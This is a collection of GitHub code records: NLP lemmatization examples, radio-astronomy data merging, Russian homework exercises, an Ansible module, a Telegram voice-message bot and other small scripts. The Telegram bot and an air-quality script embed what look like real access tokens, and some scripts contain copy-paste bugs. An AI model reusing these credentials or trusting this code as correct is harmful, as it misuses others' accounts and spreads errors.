comput\n # computer --> comput\n # computed --> comput\n # computing --> comput\n\n # Можно видеть, что результаты такие же. Всё ещё есть «вычислитель» в качестве основы.\n # Опять же, слово «вычислить» на самом деле не словарное.\n #\n # Здесь нужна лемматизация. Лемматизация сокращает слово до основы,\n # как оно появляется в словаре. Основы, возвращаемые посредством лемматизации,\n # являются фактическими словарными словами и семантически полными,\n # в отличие от слов, возвращаемых стеммером.\n #\n # Лемматизация # =====================================================\n # Хотя и не возможно выполнить стемминг с помощью spaCy напрямую, всё же\n # можно выполнить эту лемматизацию с помощью spaCy.\n #\n # Для этого нам нужно использовать lemma_ атрибут на Spacy документа.\n # Пусть, есть следующее предложение:\n\n sentence6 = sp(u'compute computer computed computing')\n # Можно найти корни всех слов с помощью лемматизации spaCy следующим образом:\n\n for word in sentence6:\n print(word.text, word.lemma_)\n\n print('\\n__________________________________________________________')\n\n # Результат выполнения сценария выше выглядит следующим образом:\n #\n # compute compute\n # computer computer\n # computed compute\n # computing computing\n\n # Можно видеть, что в отличие от стемминга, в котором корень,\n # который мы получается, был «вычислить», корни, которые мы здесь получили,\n # являются настоящими словами в словаре.\n #\n # Лемматизация преобразует слова во второй или третьей формах в их варианты первой формы.\n # Ещё один пример:\n #\n sentence7 = sp(u'A letter has been written, asking him to be released')\n\n for word in sentence7:\n print(word.text + ' ===>', word.lemma_)\n\n print('\\n__________________________________________________________')\n\n # Вывод: ???\n #\n # A ===> a\n # letter ===> letter\n # has ===> have\n # been ===> be\n # written ===> write\n # , ===> ,\n # asking ===> ask\n # him ===> -PRON-\n # to ===> to\n # be ===> be\n # released ===> release\n\n # Из выходных данных видно, что слова во второй и третьей формах,\n # такие как «написано», «выпущено» и т. Д.,\n # Были преобразованы в первую форму, то есть «запись» и «выпуск».\n #\n # Заключение # =======================================================\n # Токенизация, стемминг и лемматизация - одни из самых важных\n # задач обработки естественного языка. Здесь было показано,\n # как можно выполнить токенизацию и лемматизацию с помощью библиотеки spaCy.\n # Также было показано, как NLTK можно использовать для стемминга.\n\n # ========================================================================\n\n\n\ndef DoIt(name, substrlen): # Create WordNetLemmatizer object\n print(name)\n\n pars = txtParser(name)\n\n print('\\n*****txtFormat*************************************************************')\n pars.txtFormat()\n print('\\n*****signDelete************************************************************')\n pars.signDelete()\n print('\\n*****lowerRunner***********************************************************')\n pars.lowerRunner()\n print('\\n*****lowerRunnerTxt********************************************************')\n pars.lowerRunnerTxt()\n\n wnl = WordNetLemmatizer()\n\n print(f'\\n___{WordNet}___')\n WordNet(wnl, pars)\n\n print(f'\\n___{WordNet}___')\n WordNetPos(pars)\n\n print(f'\\n___{WordTextBlob}___')\n WordTextBlob(pars)\n\n print(f'\\n___{WordTextPos}___')\n WordTextPos(wnl, pars)\n\n print(f'\\n___{xspaCy}___')\n xspaCy(pars)\n\n\ndef main(name, substrlen):\n DoIt(name, substrlen)\n\n\n# Press the green button in the gutter to run the script.\nif __name__ == '__main__':\n main(\"C:\\\\PythonDrom\\\\Texts_2022\\\\InputDate.txt\", 90)\n\n\n","repo_name":"AntonLeonardovichMarchenko/task_21_03_2023","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":57659,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"28380741718","text":"from pyuvdata import UVData\nimport sys\nimport numpy as np\n\n#base=\"guppi_59563_13204_4674987_3c84_0001\"\nbase=sys.argv[1]\n\nuv1 = UVData()\nuv1.read(\"node1/\"+base+\"_0.uvh5\", fix_old_proj=False)\nuv1.data_array = np.conj(uv1.data_array)\n\nuv2 = UVData()\nuv2.read(\"node2/\"+base+\"_0.uvh5\", fix_old_proj=False)\nuv2.data_array = np.conj(uv1.data_array)\n\nuv3 = UVData()\nuv3.read(\"node2/\"+base+\"_1.uvh5\", fix_old_proj=False)\nuv3.data_array = np.conj(uv1.data_array)\n\nuv4 = UVData()\nuv4.read(\"node3/\"+base+\"_0.uvh5\", fix_old_proj=False)\nuv4.data_array = np.conj(uv1.data_array)\n\nuv5 = UVData()\nuv5.read(\"node3/\"+base+\"_1.uvh5\", fix_old_proj=False)\nuv5.data_array = np.conj(uv1.data_array)\n\nuv6 = UVData()\nuv6.read(\"node4/\"+base+\"_0.uvh5\", fix_old_proj=False)\nuv6.data_array = np.conj(uv1.data_array)\n\nuv7 = UVData()\nuv7.read(\"node4/\"+base+\"_1.uvh5\", fix_old_proj=False)\nuv7.data_array = np.conj(uv1.data_array)\n\n\n\nuvd = uv1 + uv2 + uv3 + uv4 + uv5 + uv6 + uv7\n\nprint(\"Writing ms file\")\nuvd.write_ms(base+\"_uvw.ms\")\nuvd.write_uvh5(base+\"_uvw.uvh5\")\n","repo_name":"SETIatHCRO/ATA-Utils","sub_path":"ObservationScripts/concat_all_b_inv.py","file_name":"concat_all_b_inv.py","file_ext":"py","file_size_in_byte":1035,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"31153921968","text":"\n__author__ = \"Минрахимова Диана Рамилевна\"\n\n# Задание-1:\n# Написать программу, выполняющую операции (сложение и вычитание) с простыми дробями.\n# Дроби вводятся и выводятся в формате:\n# n x/y ,где n - целая часть, x - числитель, у - знаменатель.\n# Дроби могут быть отрицательные и не иметь целой части, или иметь только целую часть.\n# Примеры:\n# Ввод: 5/6 + 4/7 (всё выражение вводится целиком в ви��е строки)\n# Вывод: 1 17/42 (результат обязательно упростить и выделить целую часть)\n# Ввод: -2/3 - -2\n# Вывод: 1 1/3\n\na = input(\"Введите первый элемент примера: такого вида: n x/y - \")\nznak = input(\"Введите знак - \")\nc = input(\"Введите второй элемент примера: такого вида: n x/y - \")\n\n# сначало отделяем целую часть от десяичной\n\ntsela_chast_1, drobna1 = a.split(\" \")\ntsela_chast_2, drobna2 = c.split(\" \")\n\n# теперь десятичную разделяем на числитель и знаменатель\n\nchislitel1, znamenatel1 = drobna1.split(\"/\")\nchislitel2, znamenatel2 = drobna2.split(\"/\")\n\n# дальше переводим все в int\n\nchislitel1 = int(chislitel1)\nchislitel2 = int(chislitel2)\nznamenatel1 = int(znamenatel1)\nznamenatel2 = int(znamenatel2)\ntsela_chast_1 = int(tsela_chast_1)\ntsela_chast_2 = int(tsela_chast_2)\n\n\n# создаем функцию по каторой ищим общий знаменатьль\ndef nok(a, b):\n m = a * b\n while a != 0 and b != 0:\n if a > b:\n a %= b\n else:\n b %= a\n return m // (a + b)\n\n\nobsh_znam = nok(znamenatel1, znamenatel2)\n\n\n# переводим числители дробей в неправильную, умнажая целую часть на знаменатиль и прибавляя числитель\nsmesh_ch1 = obsh_znam * tsela_chast_1 + chislitel1 * obsh_znam / znamenatel1\nsmesh_ch2 = obsh_znam * tsela_chast_2 + chislitel2 * obsh_znam / znamenatel2\n\n\n# сама функция\ndef res(znak, smesh_ch1, smesh_ch2, obsh_znam):\n celoe = 0\n chast = 0\n\n if znak == \"+\":\n summa = smesh_ch1 + smesh_ch2\n celoe = summa // obsh_znam\n chast = summa % obsh_znam\n elif znak == \"-\":\n raznost = smesh_ch1 - smesh_ch2\n celoe = raznost // obsh_znam\n chast = raznost % obsh_znam\n\n return \"{} {} / {}\".format(int(celoe), int(chast), obsh_znam)\n\n\nl = res(znak, smesh_ch1, smesh_ch2, obsh_znam)\n\n\nprint(l)\n\n\n# Задание-2:\n# Дана ведомость расчета заработной платы (файл \"data/workers\").\n# Рассчитайте зарплату всех работников, зная что они получат полный оклад,\n# если отработают норму часов. Если же они отработали меньше нормы,\n# то их ЗП уменьшается пропорционально, а за заждый час переработки\n# они получают удвоенную ЗП, пропорциональную норме.\n# Кол-во часов, которые были отработаны, указаны в файле \"data/hours_of\"\n\n\nimport os\n\n\npath = os.path.join(\"data\", \"workers\")\npath_1 = os.path.join(\"data\", \"hours_of\")\n\nwith open(path_1, \"r\", encoding=\"UTF-8\") as w:\n lines = w.readlines()\n hours_workers = []\n for line in lines[1:]:\n line_worker = line.split()\n hours_workers.append(line_worker)\n\nwith open(path, \"r\", encoding=\"UTF-8\") as w:\n lines = w.readlines()\n list_workers = []\n for line in lines[1:]:\n line_worker = line.split()\n list_workers.append(line_worker)\n\n\ndef stoimost_chasa(norm_zp, norm_chasi):\n za_chas = norm_zp // norm_chasi\n return za_chas\n\n\ndef cena_za_vse_vremya(stoimost, chasi):\n total = stoimost * chasi\n return total\n\n\nfor i in list_workers:\n for j in hours_workers:\n if i[0] in j and i[1] in j:\n print(\"Имя и фамилияя совпали, можно считать\")\n norm_zp = int(i[2])\n norm_chasi = int(i[4])\n otrabotal = int(j[2])\n za_chas = stoimost_chasa(norm_zp, norm_chasi)\n zarplata = cena_za_vse_vremya(za_chas, otrabotal)\n pererabotka = otrabotal - norm_chasi\n\n if pererabotka < 0:\n print(\"Вы отработали больше, Ваша зарплата - \", zarplata)\n elif pererabotka > 0:\n zarplata += za_chas * 2 * pererabotka\n print(\"Вы отработали больше, Ваша зарплата - \", zarplata)\n else:\n p = int(j[2])\n print(\"Ваша зарплата - \", zarplata)","repo_name":"minrahimova/hw-diana","sub_path":"lesson4/hw04_hard.py","file_name":"hw04_hard.py","file_ext":"py","file_size_in_byte":5132,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"23846093121","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# (c) 2015, Dean Wilson \n#\n# Ansible is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# Ansible is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with Ansible. If not, see .\n\n\nimport glob\nimport re\nimport os\n\nDOCUMENTATION = '''\n---\nmodule: yum_plugins\nshort_description: Retrieve yum plugin details\ndescription:\n - Retrieve yum plugin details\nauthor: Dean Wilson\noptions:\n config_dir:\n description:\n - The plugin config directory. Defaults to /etc/yum/pluginconf.d\n required: false\n default: '/etc/yum/pluginconf.d'\n aliases: []\n'''\n\nEXAMPLES = '''\n - name: Retrieve yum plugin details\n yum_plugins:\n\n - debug: var=yum_plugins\n'''\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n config_dir=dict(default='/etc/yum/pluginconf.d', required=False)\n )\n )\n\n config_dir = module.params['config_dir']\n regexp = re.compile(r'enabled\\s*=\\s*1')\n\n plugins = {\n 'plugin': [],\n 'enabled': [],\n 'disabled': []\n }\n\n files = glob.glob(config_dir + '/*.conf')\n\n for file in files:\n filename = os.path.splitext(os.path.basename(file))[0]\n\n plugins['plugin'].append(filename)\n\n with open(file, 'r') as f:\n content = f.read()\n if regexp.search(content) is not None:\n plugins['enabled'].append(filename)\n else:\n plugins['disabled'].append(filename)\n\n # sort the values\n for key in plugins:\n plugins[key].sort()\n\n results = {\n 'yum_plugins': plugins\n }\n\n module.exit_json(ansible_facts=results)\n\nfrom ansible.module_utils.basic import *\nmain()\n","repo_name":"deanwilson/ansible-plugins","sub_path":"library/yum_plugins.py","file_name":"yum_plugins.py","file_ext":"py","file_size_in_byte":2180,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"62"} +{"seq_id":"25966977891","text":"import requests\n\nurl = \"https://api.airvisual.com/v2/countries?key=5dbfdc43-7b14-4534-acc2-d5dbb0054b78\"\n\npayload = {}\nfiles = {}\nheaders= {}\n\nresponse = requests.request(\"GET\", url, headers=headers, data = payload, files = files)\n\nprint(response.text.encode('utf8'))\n","repo_name":"kangah-codes/airpoll","sub_path":"air.py","file_name":"air.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"7528539669","text":"import requests\n\nfrom .base_loader import BaseLoader\nfrom .config import SHANBAY_CALENDAR_API\n\n\nclass ShanBayLoader(BaseLoader):\n def __init__(self, from_year, to_year, **kwargs) -> None:\n super().__init__()\n assert to_year >= from_year\n self.from_year = from_year\n self.to_year = to_year\n self.user_name = kwargs.get(\"shanbay_user_name\", \"\")\n self._make_years_list()\n\n def get_api_data(self):\n month_list = self.make_month_list()\n data_list = []\n for m in month_list:\n r = requests.get(\n SHANBAY_CALENDAR_API.format(\n user_name=self.user_name,\n start_date=m.to_date_string(),\n end_date=m.end_of(\"month\").to_date_string(),\n )\n )\n if not r.ok:\n print(f\"get shanbay calendar api failed {str(r.text)}\")\n try:\n data_list.extend(r.json()[\"logs\"])\n except:\n # just pass for now\n pass\n return data_list\n\n def make_track_dict(self):\n data_list = self.get_api_data()\n for d in data_list:\n if d:\n self.number_by_date_dict[d[\"date\"]] = 1\n self.number_list.append(1)\n\n def get_all_track_data(self):\n self.make_track_dict()\n self.make_special_number()\n return self.number_by_date_dict, self.year_list\n","repo_name":"muskanmahajan37/GitHubPoster","sub_path":"loader/shanbay_loader.py","file_name":"shanbay_loader.py","file_ext":"py","file_size_in_byte":1448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"71901539076","text":"import threading\nimport time\n\ndef thread_1():\n while True:\n print('스레드1 동작')\n time.sleep(1)\n\nt1 = threading.Thread(target=thread_1)\nt1.daemon = True #파이썬을 종료하면 실행하고 있는 쓰레드도 함께 종료\nt1.start()\n\nwhile True:\n print(\"메인동작\")\n time.sleep(2)","repo_name":"dhtkdwnsdi/python_and_40_works","sub_path":"8. 쓰레드를 사용한 프로그램/main8-2.py","file_name":"main8-2.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1310421754","text":"# list of tuple in python 179\na=[(1,3,4,7),(12,78,38)]\nprint(a)\nprint(id(a),type(a))\na.append((40,50,20))\nprint(a)\nl=len(a)\nfor i in range(l):\n if type(a[i]) is tuple:\n l1=len(a[i])\n for j in range(l1):\n print(i,j,\"index\",a[i][j])\n else:\n print(i,\"index\",a[i])\n","repo_name":"panditprogrammer/python3","sub_path":"python139.py","file_name":"python139.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"33660280977","text":"import sys\n\nfrom . import lox\n\n\ndef main():\n args = sys.argv[1:]\n if len(args) > 1:\n print(\"Usage: plox [script]\")\n sys.exit(64)\n elif len(args) == 1:\n lox.run_file(args[0])\n else:\n lox.run_prompt()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AlexClowes/crafting_interpreters","sub_path":"plox/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"24856126087","text":"import os\n\nfrom oelint_adv.cls_rule import Rule\nfrom oelint_parser.cls_item import Variable\n\n\nclass VarOverride(Rule):\n def __init__(self):\n super().__init__(id='oelint.var.override',\n severity='error',\n message='')\n\n def check(self, _file, stash):\n res = []\n __varnames = [x.VarName for x in stash.GetItemsFor(\n filename=_file, classifier=Variable.CLASSIFIER)]\n for v in __varnames:\n if v == 'inherit' or not v:\n # This will be done by another rule\n continue # pragma: no cover\n items = stash.GetItemsFor(\n filename=_file, classifier=Variable.CLASSIFIER, attribute=Variable.ATTR_VAR, attributeValue=v)\n items = sorted(items, key=lambda x: x.Line, reverse=False)\n for sub in [x.SubItem for x in items]:\n # Get all entries but not the only that do immediate expansion,\n # as these will be handled during parse time\n # and apply to different rules\n _items = [x for x in items if x.SubItem == sub and not x.IsAppend(\n ) and x.VarOp.strip() not in [':=', '?=', '??='] and not x.Flag]\n if len(_items) > 1:\n _files = {os.path.basename(x.Origin) for x in _items}\n res += self.finding(_items[0].Origin, _items[0].InFileLine,\n 'Variable \\'{a}\\' is set by \\'{b}\\''.format(\n a=v, b=','.join(_files)))\n return res\n","repo_name":"priv-kweihmann/oelint-adv","sub_path":"oelint_adv/rule_base/rule_vars_variable_override.py","file_name":"rule_vars_variable_override.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"62"} +{"seq_id":"70804220679","text":"\r\nwith open(\"Day12/input.txt\", \"r\") as f:\r\n l = f.read().splitlines()\r\n\r\npx = 0\r\npy = 0\r\nwx = 10\r\nwy = 1\r\n\r\ndef rotr(a,wx,wy):\r\n for i in range(a):\r\n tmp = wx\r\n wx = wy\r\n wy = -tmp\r\n return [wx,wy]\r\n\r\nfor i in l:\r\n d = i[0].upper()\r\n x = int(i[1:])\r\n print(d,x)\r\n if d == \"N\":\r\n wy += x\r\n elif d == \"S\":\r\n wy -= x\r\n elif d == \"E\":\r\n wx += x\r\n elif d == \"W\":\r\n wx -= x\r\n elif d == \"L\":\r\n rot = int(x/90) % 4\r\n [wx,wy] = rotr(4 - rot,wx,wy)\r\n elif d == \"R\":\r\n rot = int(x/90) % 4\r\n [wx,wy] = rotr(rot,wx,wy)\r\n elif d == \"F\":\r\n print(f\"waypoint east {wx}, north {wy}\")\r\n px += x * wx\r\n py += x * wy\r\n print(f\"east {px}, north {py}\")\r\n\r\n \r\nprint(f\"manhattan dist {abs(px) + abs(py)}\")\r\nprint(f\"east {px}, north {py}\")\r\n","repo_name":"nicolasmeier/advofcode","sub_path":"2020/Day12/d12t.py","file_name":"d12t.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3167046133","text":"import webcolors\n\nclass Colors(object):\n\n @staticmethod\n def name_to_color(name, opacity=0):\n try:\n r, g, b = webcolors.name_to_rgb(name)\n except ValueError:\n r, g, b = 0, 0, 0\n\n return Colors._format_color(r, g, b, opacity)\n\n @staticmethod\n def hex_to_color(hex_string, opacity=0):\n r, g, b = webcolors.hex_to_rgb(hex_string)\n return Colors._format_color(r, g, b, opacity)\n\n @staticmethod\n def _format_color(r, g, b, opacity):\n alpha = 255 * (opacity / 100)\n return '{0} {1} {2} {3}'.format(r, g, b, alpha)","repo_name":"omriharel/lootboy","sub_path":"lootboy/colors.py","file_name":"colors.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35820854079","text":"from django.views import View\nfrom django.http.response import JsonResponse\nimport traceback\n\nfrom big_screen.utils import sys_setting as code\nfrom big_screen.serialization.allSerialization import serMobileToPlatform, serPlatform\n\n\n# Create your views here.\n\nclass GetAppVersion(View):\n @classmethod\n def get(cls, request):\n \"\"\"\n 获取某台手机对应平台的最新app版本号和apk下载地址\n :param request:\n :return:\n \"\"\"\n print('111')\n try:\n # -------------- 接收 ------------------\n ret = request.GET.dict()\n mobile = ret.get(\"mobile\")\n # -------------- 验证 ------------------\n # -------------- 处理 ------------------\n # 序列化器\n mp = serMobileToPlatform()\n pf = serPlatform()\n # 查询手机对应平台\n platform_id = mp.table.get(mobile=mobile)\n platform = pf.table.get(id=platform_id)\n # -------------- 返回 ------------------\n con = code.con\n con['data'] = platform\n print(con)\n return JsonResponse(con)\n except Exception:\n e = traceback.format_exc()\n print(e)\n","repo_name":"15653391491/black-broadcast-back-end","sub_path":"big_screen/apps/version/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"33311164777","text":"import socket\n\ndef clear_port(port):\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n try:\n sock.bind(('localhost', port))\n except OSError:\n # Port is already in use\n sock.close()\n print(f\"Port {port} is already in use and has been cleared.\")\n else:\n # Port is available\n sock.close()\n print(f\"Port {port} is available.\")\n\n# Specify the port you want to clear\nport_to_clear = 3050\n\n# Clear the port\nclear_port(port_to_clear)\n","repo_name":"suleman005/Drillbotics_kick_control","sub_path":"clear_port.py","file_name":"clear_port.py","file_ext":"py","file_size_in_byte":559,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"27892003691","text":"import time\r\nimport telebot\r\nimport requests\r\nimport os\r\n\r\ntoken = '5390348958:AAEwy_3Dh-J8jgTjBUqfHOTvjwqe8horK6s'\r\nbot = telebot.TeleBot(token)\r\ndirectoryName = \"telegram_data\"\r\nos.chdir(directoryName)\r\n\r\n@bot.message_handler(commands=['start'])\r\ndef start(message):\r\n bot.send_message(message.chat.id, 'Здравствуйте! Отправьте аудиосообщение!', parse_mode='html')\r\n\r\n@bot.message_handler(content_types=['voice'])\r\ndef repeat_all_message(message):\r\n start_time = time.process_time()\r\n file_info = bot.get_file(message.voice.file_id)\r\n file = requests.get('https://api.telegram.org/file/bot{0}/{1}'.format(token, file_info.file_path))\r\n user_id = message.from_user.id\r\n if not os.path.isdir(str(user_id)):\r\n os.mkdir(str(user_id))\r\n\r\n with open(f'{user_id}/{message.message_id}.ogg', 'wb') as f:\r\n f.write(file.content)\r\n #res = requests.post(url=\"http://127.0.0.1:3001/api/translate_q/1\")\r\n print(str(time.process_time() - start_time) + \" секунд\")\r\n\r\n\r\nbot.polling(none_stop=True)\r\n","repo_name":"daria143/Listing-VKR-Polyntsova","sub_path":"telegrambot.py","file_name":"telegrambot.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"71826638596","text":"\"\"\"\nDefine MoveUntilTouchAction, MoveUntilTouchSolution, and\nMoveUntilTouchExecutableSolution.\n\"\"\"\n\nfrom contextlib import nested\nimport logging\n\nimport numpy as np\n\nfrom openravepy import Robot, KinBody\nfrom prpy.exceptions import TrajectoryAborted\nfrom prpy.planning import PlanningError\nfrom prpy.planning.base import Tags\nfrom prpy.rave import AllDisabled\nfrom prpy.util import CopyTrajectory, GetTrajectoryTags\nfrom prpy.viz import RenderVector\n\nfrom magi.actions.base import Action, ActionError, ExecutableSolution, Solution, from_key, to_key\nfrom magi.actions.util import get_feasible_path\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass MoveUntilTouchExecutableSolution(ExecutableSolution):\n \"\"\"\n An ExecutableSolution that moves in a direction for a specified distance\n unless an object is touched.\n \"\"\"\n\n def __init__(self, solution, traj):\n \"\"\"\n @param solution: Solution object that generated this ExecutableSolution\n @param traj: planned trajectory to execute\n \"\"\"\n super(MoveUntilTouchExecutableSolution, self).__init__(solution)\n self.traj = traj\n\n @property\n def action(self):\n \"\"\"\n Return the solution's Action.\n\n @return MoveUntilTouchAction\n \"\"\"\n return self.solution.action\n\n def execute(self, env, simulate):\n \"\"\"\n Execute the planned trajectory.\n\n @param env: OpenRAVE environment\n @param simulate: flag to run in simulation\n @return True if the trajectory was aborted due to touching an object\n \"\"\"\n manipulator = self.action.get_manipulator(env)\n robot = manipulator.GetRobot()\n traj = CopyTrajectory(self.traj, env=env)\n touched = False\n try:\n robot.ExecuteTrajectory(traj)\n except TrajectoryAborted:\n touched = True\n\n return touched\n\n\nclass MoveUntilTouchSolution(Solution):\n \"\"\"\n A Solution that moves in a direction for a specified distance unless an\n object is touched.\n \"\"\"\n\n def __init__(self, action, path, deterministic):\n \"\"\"\n @param action: Action that generated this Solution\n @param path: path to execute\n @param deterministic: True if this Solution was generated using a\n deterministic planner\n \"\"\"\n super(MoveUntilTouchSolution, self).__init__(\n action, deterministic=deterministic)\n self.path = path\n\n def save(self, env):\n \"\"\"\n Return a context manager that saves the current robot configuration\n (LinkTransformation).\n\n @param env: OpenRAVE environment\n @return a RobotStateSaver that saves the current configuration\n \"\"\"\n robot = self.action.get_manipulator(env).GetRobot()\n\n return robot.CreateRobotStateSaver(\n Robot.SaveParameters.LinkTransformation)\n\n def postprocess(self, env):\n \"\"\"\n WARNING: This action has been temporarily disabled.\n\n Postprocess the trajectory, adding required flags to indicate the trajectory\n should be stopped when high forces/torques are encountered.\n\n @param env: OpenRAVE environment\n @return a MoveUntilTouchExecutableSolution\n \"\"\"\n manipulator = self.action.get_manipulator(env)\n robot = manipulator.GetRobot()\n\n with env:\n # Compute the expected force direction in the sensor frame.\n hand_pose = manipulator.GetEndEffectorTransform()\n relative_direction = np.dot(hand_pose[0:3, 0:3],\n self.action.direction)\n\n # Tell the controller to stop on force/torque input.\n path = CopyTrajectory(self.path, env=env)\n # manipulator.SetTrajectoryExecutionOptions(path,\n # stop_on_stall=True, stop_on_ft=True,\n # force_magnitude=self.action.force_magnitude,\n # force_direction=relative_direction,\n # torque=self.action.torque)\n\n # Compute the trajectory timing. This is potentially slow.\n traj = robot.PostProcessPath(path)\n\n return MoveUntilTouchExecutableSolution(solution=self, traj=traj)\n\n def jump(self, env):\n \"\"\"\n Move the robot to the last configuration before a touch is expected to\n occur.\n\n @param env: OpenRAVE environment\n \"\"\"\n manipulator = self.action.get_manipulator(env)\n robot = manipulator.GetRobot()\n\n with robot.CreateRobotStateSaver(Robot.SaveParameters.ActiveDOF):\n robot.SetActiveDOFs(manipulator.GetArmIndices())\n cspec = robot.GetActiveConfigurationSpecification()\n\n # Jump to the end of the trajectory.\n robot.SetActiveDOFValues(\n self.path.GetWaypoint(self.path.GetNumWaypoints() - 1, cspec))\n\n\nclass MoveUntilTouchAction(Action):\n \"\"\"\n An Action that moves in a direction for the specified distance unless an\n object is touched.\n \"\"\"\n\n TORQUE_MAGNITUDE = 127 * np.ones(3)\n\n def __init__(self,\n manipulator,\n direction,\n min_distance,\n max_distance,\n target_bodies,\n force_magnitude=5.,\n torque=None,\n planner=None,\n name=None):\n \"\"\"\n @param manipulator: manipulator to move\n @param direction: 3 dim vector - [x,y,z] in world coordinates\n @param min_distance: min distance to move\n @param max_distance: max distance to move\n @param target_bodies: any bodies that should be disabled during planning\n @param force_magnitude: max allowable magnitude of force before\n considering the manipulator to be touching something\n @param torque: the max allowable torque before considering the\n manipulator to be touching something\n @param planner: planner to use to generate the trajectory\n if None, defaults to robot.planner\n @param name: name of the action\n \"\"\"\n super(MoveUntilTouchAction, self).__init__(name=name)\n\n self._manipulator = to_key(manipulator)\n self._target_bodies = [to_key(body) for body in target_bodies]\n\n self.direction = np.array(direction, dtype='float')\n self.min_distance = float(min_distance)\n self.max_distance = float(max_distance)\n self.force_magnitude = float(force_magnitude)\n self.planner = planner\n\n if torque is not None:\n self.torque = np.array(torque, dtype='float')\n else:\n self.torque = self.TORQUE_MAGNITUDE\n\n def get_manipulator(self, env):\n \"\"\"\n Look up and return the manipulator in the environment.\n\n @param env: OpenRAVE environment\n @return an OpenRAVE manipulator\n \"\"\"\n return from_key(env, self._manipulator)\n\n def get_bodies(self, env, bodies):\n \"\"\"\n Look up and return the bodies in the environment.\n\n @param env: OpenRAVE environment\n @param bodies: list of body keys\n @return list of Kinbodies\n \"\"\"\n return [from_key(env, key) for key in bodies]\n\n def plan(self, env):\n \"\"\"\n Plan a trajectory that moves in the specified direction for the\n specified distance unless an object is touched.\n\n @param env: OpenRAVE environment\n @return a MoveUntilTouchSolution\n \"\"\"\n target_bodies = self.get_bodies(env, self._target_bodies)\n manipulator = self.get_manipulator(env)\n robot = manipulator.GetRobot()\n\n start_point = manipulator.GetEndEffectorTransform()[0:3, 0]\n ssavers = [\n robot.CreateRobotStateSaver(\n Robot.SaveParameters.ActiveDOF\n | Robot.SaveParameters.ActiveManipulator\n | Robot.SaveParameters.LinkTransformation)\n ]\n for body in target_bodies:\n # ensure we preserve any enable-disabling that wraps\n # this function\n ssavers += [\n body.CreateKinBodyStateSaver(KinBody.SaveParameters.LinkEnable)\n ]\n\n with \\\n nested(*ssavers), \\\n RenderVector(\n start_point, self.direction, self.max_distance, env), \\\n AllDisabled(env, target_bodies):\n\n manipulator.SetActive()\n planner = self.planner if self.planner is not None else robot.planner\n\n try:\n path = planner.PlanToEndEffectorOffset(\n robot=robot,\n direction=self.direction,\n distance=self.min_distance,\n max_distance=self.max_distance)\n\n # Mark this action as deterministic based on the traj tags\n path_tags = GetTrajectoryTags(path)\n deterministic = path_tags.get(Tags.DETERMINISTIC_ENDPOINT, None)\n if deterministic is None:\n LOGGER.warn(\n \"Trajectory does not have DETERMINISTIC_ENDPOINT flag set. \"\n \"Assuming non-deterministic.\")\n deterministic = False\n\n except PlanningError as err:\n raise ActionError(str(err), deterministic=err.deterministic)\n\n path, _ = get_feasible_path(robot, path)\n return MoveUntilTouchSolution(\n action=self, path=path, deterministic=deterministic)\n","repo_name":"personalrobotics/magipy","sub_path":"src/magi/actions/MoveUntilTouch.py","file_name":"MoveUntilTouch.py","file_ext":"py","file_size_in_byte":9452,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"6162000770","text":"#!/usr/bin/env python\n\nimport os\n\nif __name__==\"__main__\":\n\tfor name in os.listdir(\"/opt/nsm/pcap/\"):\n\t\tif name.endswith(\".pcap\"):\n\t\t\tos.system(\"bro -r \" + name)\n\t\t\tfor logfile in os.listdir(\"/opt/nsm/pcap/\"):\n\t\t\t\tif logfile.endswith(\".log\"):\n\t\t\t\t\tlogfilereader = open(logfile, 'r')\n\t\t\t\t\tlogfilewriter = open('/opt/nsm/pcap/logs/' + logfile, 'a')\n\t\t\t\t\tfor line in logfilereader:\n\t\t\t\t\t\tif not 